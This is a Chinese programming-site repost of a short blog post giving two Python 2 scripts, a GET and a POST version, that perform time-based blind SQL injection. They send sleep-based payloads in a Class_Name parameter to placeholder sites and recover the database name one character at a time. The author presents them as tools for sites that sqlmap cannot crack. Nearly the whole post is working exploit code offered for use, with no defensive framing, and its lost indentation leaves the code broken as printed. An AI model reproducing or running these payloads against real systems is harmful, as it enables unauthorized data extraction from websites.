您的位置：首页 > 编程语言 > Python开发

基于时间延迟的Python验证脚本

2016-08-05 15:39 501 查看

自己写的一段Python脚本，经常拿来验证一些sqlmap等工具跑不出数据的网站。

GET类型：

import urllib
import urllib2
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  }
values={}
print 'Start to retrive database:'
user= ''

for i in range(1, 15):
for payload in payloads:
try:
values['action']='show'
values['page']=1
values['Class_Name']="/*'XOR(if(ascii(mid(database()from(%s)for(1)))=%s,sleep(5),0))OR'*/ " %(i,ord(payload))
data = urllib.urlencode(values)
url = "http://www.xxx.com:80/dmlist.php"
geturl = url+'?'+data
request = urllib2.Request(geturl,headers=header)
response = urllib2.urlopen(request,timeout=5)
result=response.read()
print '.',
except:
user += payload
print '\n[in progress]', user
time.sleep(3.0)
break

　　

POST类型：

import urllib
import urllib2
import time
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
header = { 'User-Agent' : 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)'  }
values={}
print 'Start to retrive database:'
user= ''

for i in range(1, 15):
for payload in payloads:
try:

values['page']=1
values['Class_Name']="if(ascii(mid(database(),%s,1))=%s,sleep(3),0) " %(i,ord(payload))
data = urllib.urlencode(values)
url = "http://www.xxx.com:80/ajaxGetInfoList.do"
request = urllib2.Request(url,data,headers=header)
response = urllib2.urlopen(request,timeout=5)
result=response.read()
print '.',
except:
user += payload
print '\n[in progress]', user
time.sleep(3.0)
break

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航